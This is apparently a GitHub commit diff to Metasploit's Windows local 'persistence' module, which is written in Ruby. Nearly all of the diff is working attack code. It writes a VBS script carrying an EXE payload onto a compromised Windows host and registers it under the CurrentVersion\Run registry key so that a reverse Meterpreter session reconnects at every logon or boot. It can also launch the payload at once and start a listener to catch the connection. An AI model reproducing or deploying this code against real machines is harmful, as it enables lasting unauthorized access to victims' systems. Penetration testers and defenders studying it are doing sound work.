Skip to content

Commit a3debe1

Browse files
committed
persistence - more options, more verbose
...and less bugs! + Able to define the EXE payload filename + Able to setup a handler job + Able to execute persistence payload after installing + Performs various checks (should be more stable now) + Will display various warnings if your doing something 'different' + Added various verbose messages during the process
1 parent dc07938 commit a3debe1

File tree

1 file changed

+217
-73
lines changed

1 file changed

+217
-73
lines changed

modules/exploits/windows/local/persistence.rb

Lines changed: 217 additions & 73 deletions
Original file line numberDiff line numberDiff line change
@@ -22,12 +22,11 @@ class Metasploit3 < Msf::Exploit::Local
2222

2323
def initialize(info={})
2424
super( update_info( info,
25-
'Name' => 'Windows Manage Persistent Payload Installer',
25+
'Name' => 'Windows Persistent Registry Startup Payload Installer',
2626
'Description' => %q{
27-
This Module will create a boot persistent reverse Meterpreter session by
28-
installing on the target host the payload as a script that will be executed
29-
at user logon or system startup depending on privilege and selected startup
30-
method.
27+
This module will install a payload that is executed during boot.
28+
It will be executed either at user logon or system startup via the registry
29+
value in "CurrentVersion\Run" (depending on privilege and selected method).
3130
},
3231
'License' => MSF_LICENSE,
3332
'Author' =>
@@ -38,50 +37,117 @@ def initialize(info={})
3837
'SessionTypes' => [ 'meterpreter' ],
3938
'Targets' => [ [ 'Windows', {} ] ],
4039
'DefaultTarget' => 0,
41-
'DisclosureDate'=> "Oct 19 2011"
40+
'DisclosureDate'=> "Oct 19 2011",
41+
'DefaultOptions' =>
42+
{
43+
'DisablePayloadHandler' => 'true',
44+
}
4245
))
4346

4447
register_options(
4548
[
46-
OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]),
47-
OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
48-
OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]),
49-
OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']),
50-
OptString.new('PATH',[false, 'Path to write payload']),
49+
OptInt.new('DELAY',
50+
[true, 'Delay (in seconds) for persistent payload to keep reconnecting back.', 10]),
51+
OptEnum.new('STARTUP',
52+
[true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
53+
OptString.new('VBS_NAME',
54+
[false, 'The filename to use for the VBS persistent script on the target host (%RAND% by default).', nil]),
55+
OptString.new('EXE_NAME',
56+
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
57+
OptString.new('REG_NAME',
58+
[false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]),
59+
OptString.new('PATH',
60+
[false, 'Path to write payload (%TEMP% by default).', nil]),
61+
], self.class)
62+
63+
register_advanced_options([
64+
OptBool.new('HANDLER',
65+
[ false, 'Start an exploit/multi/handler job to receive the connection', false]),
66+
OptBool.new('EXEC_AFTER',
67+
[ false, 'Execute persistent script after installing.', false])
5168
], self.class)
5269
end
5370

54-
# Exploit Method for when exploit command is issued
71+
# Exploit method for when exploit command is issued
5572
def exploit
56-
print_status("Running module against #{sysinfo['Computer']}")
73+
print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
5774

58-
rexename = datastore['REXENAME']
59-
delay = datastore['DELAY']
60-
reg_val = datastore['REG_NAME']
75+
# Define default values
76+
rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
77+
rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
78+
reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
79+
delay = datastore['DELAY'] || 10
80+
exc_after = datastore['EXEC_AFTER'] || false
81+
handler = datastore['HANDLER'] || false
6182
@clean_up_rc = ""
62-
host,port = session.session_host, session.session_port
6383

84+
rvbs_name = rvbs_name + '.vbs' if rvbs_name[-4,4] != '.vbs'
85+
rexe_name = rexe_name + '.exe' if rexe_name[-4,4] != '.exe'
86+
87+
# Connect to the session
88+
begin
89+
host, port = session.session_host, session.session_port
90+
rescue => e
91+
print_error("Could not connect to session")
92+
return nil
93+
end
94+
95+
# Check values
96+
if (is_system?) && (datastore['STARTUP'] == 'USER')
97+
print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!')
98+
end
99+
100+
if (handler) && (!datastore['DisablePayloadHandler'])
101+
# DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards!
102+
print_warning("Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...")
103+
print_warning("Disabling HANDLER...")
104+
handler = false
105+
end
106+
107+
# Generate the exe payload
108+
print_status("Generating EXE payload (#{rexe_name})") if datastore['VERBOSE']
64109
exe = generate_payload_exe
65-
script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay})
66-
script_on_target = write_script_to_target(script, rexename)
110+
# Generate the vbs payload
111+
print_status("Generating VBS persistent script (#{rvbs_name})") if datastore['VERBOSE']
112+
vbsscript = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay, :exe_filename => rexe_name})
113+
# Writing the payload to target
114+
print_status("Writing payload inside the VBS script on the target") if datastore['VERBOSE']
115+
script_on_target = write_script_to_target(vbsscript, rvbs_name)
67116

68-
# exit the module because we failed to write the file on the target host.
117+
# Exit the module because we failed to write the file on the target host
118+
# Feedback has already been given to the user, via the function.
69119
return unless script_on_target
70120

71-
# Initial execution of script
72-
121+
# Initial execution of persistent script
73122
case datastore['STARTUP']
74123
when 'USER'
75-
# if we could not write the entry in the registy we exit the module.
124+
# If we could not write the entry in the registy we exit the module.
76125
return unless write_to_reg("HKCU", script_on_target, reg_val)
126+
print_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on") if datastore['VERBOSE']
77127
when 'SYSTEM'
78-
# if we could not write the entry in the registy we exit the module.
128+
# If we could not write the entry in the registy we exit the module.
79129
return unless write_to_reg("HKLM", script_on_target, reg_val)
130+
print_status("Payload will execute at the next SYSTEM startup") if datastore['VERBOSE']
131+
else
132+
print_error("Something went wrong. Invalid STARTUP method: #{datastore['STARTUP']}")
133+
return nil
80134
end
81135

136+
# Do we setup a exploit/multi/handler job?
137+
if handler
138+
listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
139+
if listener_job_id.blank?
140+
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
141+
end
142+
end
143+
144+
# Do we execute the VBS script afterwards?
145+
target_exec(script_on_target) if datastore['EXEC_AFTER']
146+
147+
# Create 'clean up' resource file
82148
clean_rc = log_file()
83149
file_local_write(clean_rc, @clean_up_rc)
84-
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
150+
print_status("Clean up Meterpreter .RC file: #{clean_rc}")
85151

86152
report_note(:host => host,
87153
:type => "host.persistance.cleanup",
@@ -98,86 +164,164 @@ def exploit
98164
)
99165
end
100166

101-
# Function for creating log folder and returning log path
102-
def log_file(log_path = nil)
103-
#Get hostname
104-
host = session.sys.config.sysinfo["Computer"]
167+
# Writes script to target host and returns the pathname of the target file or nil if the
168+
# file could not be written.
169+
def write_script_to_target(vbs, name)
170+
filename = name || Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
171+
temppath = datastore['PATH'] || session.sys.config.getenv('TEMP')
172+
filepath = temppath + "\\" + filename
105173

106-
# Create Filename info to be appended to downloaded files
107-
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
174+
if !directory? temppath
175+
print_error("#{temppath} does not exists on the target")
176+
return nil
177+
end
108178

109-
# Create a directory for the logs
110-
if log_path
111-
logs = ::File.join(log_path, 'logs', 'persistence',
112-
Rex::FileUtils.clean_path(host + filenameinfo) )
113-
else
114-
logs = ::File.join(Msf::Config.log_directory, 'persistence',
115-
Rex::FileUtils.clean_path(host + filenameinfo) )
179+
if file? filepath
180+
print_warning("#{filepath} already exists on the target. Deleting...")
181+
begin
182+
file_rm(filepath)
183+
print_good("Deleted #{filepath}")
184+
rescue
185+
print_error("Unable to delete file!")
186+
end
116187
end
117188

118-
# Create the log directory
119-
::FileUtils.mkdir_p(logs)
189+
begin
190+
write_file(filepath, vbs)
191+
print_good("Persistent VBS script written on #{sysinfo['Computer']} to #{filepath}")
120192

121-
#logfile name
122-
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
123-
return logfile
193+
# Escape windows pathname separators.
194+
@clean_up_rc << "rm #{filepath.gsub(/\\/, '//')}\n"
195+
rescue
196+
print_error("Could not write the payload on the target")
197+
# Return nil since we could not write the file on the target
198+
filepath = nil
199+
end
200+
201+
return filepath
124202
end
125203

126-
# Writes script to target host and returns the pathname of the target file or nil if the
127-
# file could not be written.
128-
def write_script_to_target(vbs, name)
129-
tempdir = datastore['PATH'] || session.sys.config.getenv('TEMP')
130-
unless name
131-
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
204+
# Installs payload in to the registry HKLM or HKCU
205+
def write_to_reg(key, script_on_target, registry_value)
206+
regsuccess = true
207+
nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8)
208+
key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
209+
210+
print_status("Installing as #{key_path}\\#{nam}")
211+
212+
if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ")
213+
print_good("Installed autorun on #{sysinfo['Computer']} as #{key_path}\\#{nam}")
132214
else
133-
tempvbs = tempdir + "\\" + name + ".vbs"
215+
print_error("Failed to make entry in the registry for persistence")
216+
regsuccess = false
134217
end
135-
begin
136-
write_file(tempvbs, vbs)
137-
print_good("Persistent Script written to #{tempvbs}")
138-
# Escape windows pathname separators.
139-
@clean_up_rc << "rm #{tempvbs.gsub(/\\/, '//')}\n"
140-
rescue
141-
print_error("Could not write the payload on the target hosts.")
142-
# return nil since we could not write the file on the target host.
143-
tempvbs = nil
144-
end
145-
return tempvbs
218+
219+
return regsuccess
146220
end
147221

222+
148223
# Executes script on target and returns true if it was successfully started
149224
def target_exec(script_on_target)
150225
execsuccess = true
151226
print_status("Executing script #{script_on_target}")
152-
# error handling for process.execute() can throw a RequestError in send_request.
227+
# Lets give the target a few seconds to catch up...
228+
sleep(3)
229+
230+
# Error handling for process.execute() can throw a RequestError in send_request.
153231
begin
154232
unless datastore['EXE::Custom']
155233
session.shell_command_token(script_on_target)
156234
else
157235
session.shell_command_token("cscript \"#{script_on_target}\"")
158236
end
159237
rescue
160-
print_error("Failed to execute payload on target host.")
238+
print_error("Failed to execute payload on target")
161239
execsuccess = false
162240
end
241+
163242
return execsuccess
164243
end
165244

166-
# Installs payload in to the registry HKLM or HKCU
167-
def write_to_reg(key, script_on_target, registry_value)
168-
nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8)
169-
key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
245+
# Starts a exploit/multi/handler session
246+
def create_multihandler(lhost, lport, payload_name)
247+
pay = client.framework.payloads.create(payload_name)
248+
pay.datastore['LHOST'] = lhost
249+
pay.datastore['LPORT'] = lport
250+
print_status('Starting exploit/multi/handler')
251+
if !check_for_listener(lhost, lport)
252+
# Set options for module
253+
mh = client.framework.exploits.create('multi/handler')
254+
mh.share_datastore(pay.datastore)
255+
mh.datastore['WORKSPACE'] = client.workspace
256+
mh.datastore['PAYLOAD'] = payload_name
257+
mh.datastore['EXITFUNC'] = 'thread'
258+
mh.datastore['ExitOnSession'] = true
259+
# Validate module options
260+
mh.options.validate(mh.datastore)
261+
# Execute showing output
262+
mh.exploit_simple(
263+
'Payload' => mh.datastore['PAYLOAD'],
264+
'LocalInput' => self.user_input,
265+
'LocalOutput' => self.user_output,
266+
'RunAsJob' => true
267+
)
170268

171-
print_status("Installing into autorun as #{key_path}\\#{nam}")
269+
# Check to make sure that the handler is actually valid
270+
# If another process has the port open, then the handler will fail
271+
# but it takes a few seconds to do so. The module needs to give
272+
# the handler time to fail or the resulting connections from the
273+
# target could end up on on a different handler with the wrong payload
274+
# or dropped entirely.
275+
select(nil, nil, nil, 5)
276+
return nil if framework.jobs[mh.job_id.to_s].nil?
172277

173-
if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ")
174-
print_good("Installed into autorun as #{key_path}\\#{nam}")
175-
return true
278+
return mh.job_id.to_s
176279
else
177-
print_error("Failed to make entry in the registry for persistence.")
280+
print_error('A job is listening on the same local port')
281+
return nil
178282
end
283+
end
179284

180-
false
285+
# Method for checking if a listener for a given IP and port is present
286+
# will return true if a conflict exists and false if none is found
287+
def check_for_listener(lhost, lport)
288+
client.framework.jobs.each do |k, j|
289+
if j.name =~ / multi\/handler/
290+
current_id = j.jid
291+
current_lhost = j.ctx[0].datastore['LHOST']
292+
current_lport = j.ctx[0].datastore['LPORT']
293+
if lhost == current_lhost && lport == current_lport.to_i
294+
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
295+
return true
296+
end
297+
end
298+
end
299+
return false
300+
end
301+
302+
# Function for creating log folder and returning log path
303+
def log_file(log_path = nil)
304+
# Get hostname
305+
host = session.sys.config.sysinfo["Computer"]
306+
307+
# Create Filename info to be appended to downloaded files
308+
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
309+
310+
# Create a directory for the logs
311+
if log_path
312+
logs = ::File.join(log_path, 'logs', 'persistence',
313+
Rex::FileUtils.clean_path(host + filenameinfo) )
314+
else
315+
logs = ::File.join(Msf::Config.log_directory, 'persistence',
316+
Rex::FileUtils.clean_path(host + filenameinfo) )
317+
end
318+
319+
# Create the log directory
320+
::FileUtils.mkdir_p(logs)
321+
322+
# logfile name
323+
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
324+
return logfile
181325
end
182326

183327
end

0 commit comments

Comments
 (0)